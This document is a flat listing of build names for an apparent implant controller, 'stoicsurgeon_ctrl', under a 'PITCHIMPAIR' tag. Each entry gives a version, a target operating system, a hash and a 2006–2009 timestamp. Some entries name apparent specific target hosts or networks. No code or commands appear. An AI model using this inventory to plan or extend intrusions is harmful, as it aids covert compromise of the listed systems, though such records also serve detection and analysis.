[PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.2.1_x86-linux-2.4-tilttop-comet_emx_ns +460B5058F100363138568C4399785D361FFD16C7 Mon Jan 29 19:10:05 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.20.3_sparc-sun-solaris2.9 +1EEDB307E5088E2009597645827DBA76E03C662F Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.23.3_x86-linux-fedora4 +1EEDB307E5088E2009597645827DBA76E03C662F Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.23.6_x86-linux-redhat-9.0 +1EEDB307E5088E2009597645827DBA76E03C662F Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.23.7_x86-linux-centos +BF012131F4A53DA36761EC0AB3DF7650FD8159B7 Fri Feb 23 02:22:26 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.24.1_sparc-sun-solaris2.10 +E3850BEFCF148353CABAA01F5D0583EAC82C80D4 Fri Feb 23 23:20:34 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.24.3_sparc-sun-solaris2.8 +CF8B600A2E230A2886169C98E0EF08DDD9E10EFE Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.26.2_x86-linux-fedora2 +CF8B600A2E230A2886169C98E0EF08DDD9E10EFE Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.26.3_x86-linux-fedora3 +CF8B600A2E230A2886169C98E0EF08DDD9E10EFE Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.26.4_x86-linux-debian-3.1 +3359DA1B35F87F65553E80870FB445F2FAA11BF4 Mon Mar 19 19:03:21 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.1_x86-linux-vinifera-mail-npost +5AB574F00DE2F011B7C8AB787C754600C51B3331 Tue Mar 20 00:39:23 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.3_i386-pc-solaris2.9 +CD097146A34F5A94158B38DA9428E99F050A4020 Tue Mar 20 00:48:29 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.4_sparc-sun-solaris2.9 +791A18B45EA20F389D1BD87D482583147BB806A0 Thu Mar 22 16:34:49 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.5_x86-linux-tilttop-gate.itec +CC0F6C0275B621E0BE29BA9915DEDC01FEA932F5 Mon Apr 2 12:12:50 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.7_x86-linux-centos +A8F9007EC2D3D885B228105C2CA13A653F1636B7 Wed Apr 11 19:44:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.29.1_i386-pc-solaris2.8 +E2E3C739EA5740D23A2A39753C96D31EC226134A Fri Oct 20 19:34:01 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.3.1_x86-linux-slackware-10.2 +F072569697937CA0E91EA3C24A448C7D624986F0 Wed Apr 18 14:25:07 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.32.1_x86-linux-redhat-7.3 +FA52446752EB97F2044807E62AFB81E66654830A Tue May 15 13:01:50 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.34.1_x86-linux-tilttop +EB73BF94247DA4F6C4C51BC18D870F6DD8C069B5 Thu Jun 14 15:52:03 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.36.1_x86-linux-tilttop +E9D3FE0DD7CC45B64630FA4648B3F138700C1502 Thu Jun 21 19:52:57 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.38.1_sparc-sun-solaris2.8 +1FD1AC437FCD06E9A89F51DE62950BA44CF88532 Mon Jun 25 14:30:53 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.39.1_x86-linux-tilttop +A558AEECA656BDB8A0DB703D32050056E1B24661 Thu Oct 26 20:02:29 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.4.1_x86-linux-fedora4 +5CF0FEF2C268279AC782B37A0141D4A2BDC36DA0 Mon Nov 6 21:39:47 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.7.1_x86-linux-vinifera-mail +1EC0174E76B6BC55A31F2DF47E91AC994269972B Thu Jun 28 14:56:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.1.1_x86-linux-suse-10.0 +1530587DD5E2A9D1EEADBA990558D6EBC5A284EC Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.10.1_x86-linux-fedora5 +1530587DD5E2A9D1EEADBA990558D6EBC5A284EC Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.10.2_x86-linux-fedora6 +1530587DD5E2A9D1EEADBA990558D6EBC5A284EC Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.10.4_x86-linux-redhat-7.3 +8D370FDBF3C82B08965AFC8C87F2E4BA3A44DFC3 Wed Sep 19 15:56:10 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.12.2_sparc-sun-solaris2.10 +7D8753C5AFE9D50FC5240239FBF036CF600F1305 Fri Sep 21 11:25:44 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.12.3_i386-pc-solaris2.10 +2897BAFD976D49C2925BF6B633936C0FA80E77DE Mon Nov 19 17:13:58 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.15.1_x86-freebsd-6.2 +FCE2A6001D32551E67160A466552757F85D05558 Thu Jul 5 15:54:45 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.3.2_sparc-sun-solaris2.10 +F361F0D2A95528C29F45F8F8A6BC840B156C35D1 Thu Jul 5 17:21:02 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.1_x86-linux-tilttop +22DC31D60CEA074B5C28768A166D8B394AF73307 Fri Jul 6 14:52:13 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.2_x86-linux-fedora3 +28DF04753B61AA08A656F730EA4FBA16C17C7E58 Mon Jul 9 16:56:03 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.3_x86-linux-mandriva-2006 +C0BB91F1B380CB7D0C22D231E2B6AB4A91343960 Thu Jul 19 16:55:04 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.4_x86-linux-asianux-1.0 +B0F22DD6E71F2D41BEF0EF7478A4FEDFA70E67AD Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.5_x86-linux-redhat-enterprise-3.0 +B0F22DD6E71F2D41BEF0EF7478A4FEDFA70E67AD Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.6_x86-linux-redhat-enterprise-4.0 +9236AD7ACB81F149264E1DB5F786D95E26B0C21F Wed Aug 8 21:24:36 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.6.2_x86-linux-redhat-enterprise-3.0 +E6BFD702A7465AE5CD4D461417E0A9288BCA4F29 Fri Aug 10 23:51:52 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.7.1_sparc-sun-solaris2.9 +026F0472DB4D083B3014756A4B510226FB58F6DB Mon Aug 13 17:23:36 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.7.2_sparc-sun-solaris2.8 +C336973BB8384B2051DB2958885A5F5B7D93C0A3 Mon Aug 27 22:01:37 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.7.3_sparc-sun-solaris2.7 +3EA3A4A06B554583FA828890C5095EFFCE9158D8 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.9.1_x86-linux-centos +3EA3A4A06B554583FA828890C5095EFFCE9158D8 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.9.2_x86-linux-slackware-10.2 +21F9FEF023C16DF4C32023C5B07DC4BA9864103E Mon Dec 3 16:39:38 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.2.1_x86-linux-guardianwall +105A1B5F6E957C2D3D6C1D0E0601C9FA43BA13CF Wed Dec 5 18:44:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.3.1_x86-linux-suse-8.2 +A7D053D015909D6CCA0F9C3799CC7E987DA3C826 Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.4.2_x86-linux-suse-10.0 +A7D053D015909D6CCA0F9C3799CC7E987DA3C826 Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.4.3_x86-linux-tilttop-gate.nto +1622FD202CCA2A107DE424C48E4C179D5A01AFBE Thu Feb 7 23:57:08 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.0.1_x86-linux-fedora7 +7ADD9497AA9D4B6F34B494A4F11F86A24E8A784A Mon Mar 31 17:15:37 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.10_x86-linux-avaya +BA0B31D95AE6B4D35B7764652833755FB346B199 Mon Mar 31 21:05:06 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.11_x86-freebsd-6.2 +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.12_x86-linux-tilttop +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.13_x86-linux-debian-3.0 +3EF373731A6499D667DEECDE41D8B6C9E2FD037B Tue Apr 8 19:29:44 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.14_x86-freebsd-5.5 +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.1_x86-linux-fedora4 +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.2_x86-linux-fedora7 +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.3_x86-linux-redhat-7.3 +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.4_x86-linux-mandrake-9.2 +33D58F2495D1E4E843B149EB307B493885B43835 Wed Mar 26 13:20:28 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.5_x86-freebsd-6.1 +73E0E336A8AD892FF55A907B1A6B84DB1BF70D1A Thu Mar 27 15:26:50 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.6_x86-freebsd-5.4 +9C78A108DB7260FBD7B4F80FB410FCF8E2F60B22 Thu Mar 27 20:46:53 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.7_x86-freebsd-6.0 +498D50A7CBDF917ED3A349327C14243239792D05 Fri Mar 28 17:35:21 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.8_x86-freebsd-5.3 +EAEC0F749AD5C67AF23F278824DF1DDBE017CB2B Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.9_x86-linux-centos-5.0 +7623AB087E1F80D0DD34E2DB17700D41692A499D Mon May 5 17:04:34 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.11.1_sparc-sun-solaris2.10 +7623AB087E1F80D0DD34E2DB17700D41692A499D Mon May 5 17:04:34 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.11.2_sparc-sun-solaris2.10 +00554F218059350C9C6A6A1D1D40A5D4EC2F4493 Sat May 17 19:44:50 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.12.1_x86-linux-ubuntu +C1CB9D9B51B1D48C1CCA11B60DD62A81C3032EC2 Thu Jun 26 22:40:27 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.12.2_x86-linux-slackware-10.0 +E2D47BC37DB52F69B4530BDE83F98FF23A5F07AF Mon Jun 9 13:35:40 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.14.1_i386-pc-solaris2.10 +254EC3E2F6DBB8FADEB29912B48F90F3926792F2 Fri Jul 25 17:41:45 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.15.14_x86-linux-fedora1 +EBE3C8270422FA20FE7327D0D415A794C925D7AF Wed Jul 30 15:40:34 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.15.1_x86-linux-centos-5.1 +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.1_x86-linux-debian-4.0 +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.2_x86-linux-tilttop +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.4_x86-linux-fedora7 +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.5_x86-linux-centos-4.5 +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.6_x86-linux-fedora6 +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.7_x86-linux-tilttop +8943D3D1FB9D4BB7A84A5A3CE21981C95972AAAC Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.8_x86-linux-centos-5.2 +C3765D6CD6BF38BF9C90E636B78CA7FE1287F48E Thu Sep 18 17:15:20 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.20.1_x86-freebsd-6.1-wickedviper +F645A26C97ABB96A770B6C3BD50205C2C14C331B Mon Sep 22 17:13:24 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.21.1_x86-linux-centos-wax-5.x +4DC041C6196D91B41A467C996A2A981653D2FDD8 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.10_x86_linux_tilttop_1.4.23.10 +4DC041C6196D91B41A467C996A2A981653D2FDD8 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.1_x86-linux-debian-4.0 +4DC041C6196D91B41A467C996A2A981653D2FDD8 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.2_x86-linux-tilttop +4DC041C6196D91B41A467C996A2A981653D2FDD8 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.3_x86_linux_centos_i386_linux +4DC041C6196D91B41A467C996A2A981653D2FDD8 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.8_x86-linux-suse-9.3 +4DC041C6196D91B41A467C996A2A981653D2FDD8 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.9_x86-linux-tilttop +2E9710136E68F65E138A7AD3407005F6C1BD566A Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.2_x86_linux_fedora_i386_linux +2E9710136E68F65E138A7AD3407005F6C1BD566A Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.3_x86-linux-redhat-7.3 +2E9710136E68F65E138A7AD3407005F6C1BD566A Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.4_x86-linux-redhat-8.0 +2E9710136E68F65E138A7AD3407005F6C1BD566A Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.5_x86-linux-suse-10.0 +F5C692082FD87A1C266409DB006D5D5597156922 Tue Dec 16 01:15:29 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.25.1_x86_64-linux-suse-10.1 +46398DB961A9D12ED1654D9E19C2BB62431586E7 Thu Dec 18 13:59:41 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.26.1_sparc-sun-solaris2.9 +8F723CE835C650126A550C54607BBD2834B319D9 Thu Dec 18 15:55:07 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.26.2_sparc-sun-solaris2.10 +2E396785DB8E500D9D5AB928396EE28FFD9167DB Thu Dec 18 23:38:58 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.26.3_sparc-sun-solaris2.8 +E8F3B1D336ABEB23E720BC4756CDC2C7BB77E9CF Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.27.1_x86-linux-alt-4.0 +E8F3B1D336ABEB23E720BC4756CDC2C7BB77E9CF Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.27.2_x86-linux-ubuntu-7.04 +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.1_x86-linux-slackware-9.1 +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.2_x86-linux-centos-5.1 +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.3_x86-linux-alt-4.0 +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.4_x86-linux-crypticsentinel-mailser +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.5_x86-linux-fedora6 +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.7_x86-linux-tilttop +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.8_x86-linux-tilttop +E841B7C8F4BB84BF7722407FFBC6D8017FC76091 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.9_x86-linux-fedora3 +5A4D91662514AB63CBF05AA0853A545657B1DC24 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.1_sparc-sun-solaris2.7 +5A4D91662514AB63CBF05AA0853A545657B1DC24 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.2_sparc-sun-solaris2.8 +5A4D91662514AB63CBF05AA0853A545657B1DC24 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.3_sparc-sun-solaris2.9 +5A4D91662514AB63CBF05AA0853A545657B1DC24 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.4_sparc-sun-solaris2.10 +4793898F1B18A2ED42E0AE9B6B189F601C437F0A Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.5_i386-pc-solaris2.8 +4793898F1B18A2ED42E0AE9B6B189F601C437F0A Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.6_i386-pc-solaris2.9 +4793898F1B18A2ED42E0AE9B6B189F601C437F0A Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.7_i386-pc-solaris2.10 +5A4D91662514AB63CBF05AA0853A545657B1DC24 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.8_sparc-sun-solaris2.9 +4793898F1B18A2ED42E0AE9B6B189F601C437F0A Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.9_i386-pc-solaris2.9 +AF88E0C8A6C0D30FA7BCF98B92F9B1FB176E2607 Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.30.1_x86-linux-centos-5.2 +AF88E0C8A6C0D30FA7BCF98B92F9B1FB176E2607 Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.30.4_x86-linux-centos-4.3 +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.1_x86_linux_suse_10.3_bin +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.2_x86-linux-redhat-enterprise-3.0 +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.3_x86_linux_fedora5_bin +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.4_x86_linux_tilttop_bin +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.5_x86-linux-redhat-enterprise-4.0 +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.6_x86-linux-vinifera-bs003v01 +5DDAE394E05251811BD7CFCE6F57D0BB600DDC64 Wed Feb 25 17:33:11 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.7_x86_64-linux-centos-4.6 +A432E344D8C1F9630EC3166F0EBD90253CFDD440 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.8_x86_linux_debian_4.0_bin +0AEAC5769B2E13B78015E5BB3F1D1075AE86D1FC Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.1_x86-linux-suse-enterprise-9 +0AEAC5769B2E13B78015E5BB3F1D1075AE86D1FC Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.2_x86_linux_ubuntu_8.04_bin +0AEAC5769B2E13B78015E5BB3F1D1075AE86D1FC Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.3_x86-linux-debian-3.1 +861D0A99793C365704EEB1DCC5818B7DC4FCCA85 Mon Mar 9 20:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.4_x86-linux-avaya +479A4FDEED97A484FB53E3784748036D52ED0868 Tue Mar 10 19:43:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.5_x86_64-linux-redhat-enterprise-4.0 +0AEAC5769B2E13B78015E5BB3F1D1075AE86D1FC Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.6_x86_linux_slyeagle_ns.multinet.af_bin +0AEAC5769B2E13B78015E5BB3F1D1075AE86D1FC Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.7_x86_linux_slyeagle_ns_bin +15B06791B86E7732119D6FBA6C41D1C1FBA22C79 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.1_x86-linux-suse-10.3 +15B06791B86E7732119D6FBA6C41D1C1FBA22C79 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.2_x86-linux-fedora7 +15B06791B86E7732119D6FBA6C41D1C1FBA22C79 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.3_x86-linux-fedora6 +15B06791B86E7732119D6FBA6C41D1C1FBA22C79 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.4_x86-linux-slackware-12.0 +9ECF766E2D097E6CE5AE932BACEF06FC420A3A23 Thu Apr 2 16:57:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.1_sparc-sun-solaris2.8 +7C826FA4132F0F715E07371528DFA4FE1C5EA86A Thu Apr 2 18:56:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.2_sparc-sun-solaris2.9 +9E6B8CB16D613CCB3796B919AA63D0F202AC3A1C Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.3_sparc-sun-solaris2.10 +9E6B8CB16D613CCB3796B919AA63D0F202AC3A1C Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.5_sparc-sun-solaris2.10 +79C2BB48688CBD40725C13F812E935ED7E007ABD Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.35.1_x86_linux_debian_4.0_bin +2E29B7066070B1F25C0A432B25206353AB17D598 Tue May 19 19:07:21 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.35.3_x86_64-linux-complexpuzzle-argos.b.de.kcce.net +8B3C729FF82AA414EAB3400865F4A9A62BF697E6 Wed Mar 5 21:23:43 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.5.1_x86-linux-fedora4 +3930BE856C418400D62928DCA322630880B16D60 Mon Jun 15 17:21:08 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.10_x86-linux-fataltouch +219A32F2F529694FE193FFE905054A8D3E6316D9 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.1_x86-linux-centos-4.4 +219A32F2F529694FE193FFE905054A8D3E6316D9 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.2_x86-linux-centos-4.6 +219A32F2F529694FE193FFE905054A8D3E6316D9 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.3_x86-linux-tilttop-gate2 +219A32F2F529694FE193FFE905054A8D3E6316D9 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.4_x86-linux-charmshrill-server +220B92FCC514DD432C7B38CC75BFC973C9127519 Fri Jun 12 19:56:15 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.5_x86-linux-wolfacid_iq-lunasat-qos +D260507C885ED02871FCED31A33E8022B679EF47 Mon Jun 15 16:42:45 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.6_x86-junos-8.5 +1937F0FEF1A05A0A44CA05A967FE4C078777ADC0 Mon Jun 15 18:22:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.8_x86-junos-9.1 +1937F0FEF1A05A0A44CA05A967FE4C078777ADC0 Mon Jun 15 18:22:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.9_x86-junos-9.2 +51F55E203544BD3E27B59E03D6735F33502DA839 Wed Sep 2 02:22:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.10.1_sparc-sun-solaris2.8 +A4488DB8D6F286876D46D9D332F5DC2EE6093938 Wed Sep 2 02:36:49 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.10.2_sparc-sun-solaris2.9 +4B81DB4AA9EF8290C3738D94FD63EA4B26CE4F36 Wed Sep 23 20:30:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.2_sparc-sun-solaris2.8 +A89B1203A6134CB04758B7A8F5411004C6E4589A Wed Sep 23 20:38:34 2009 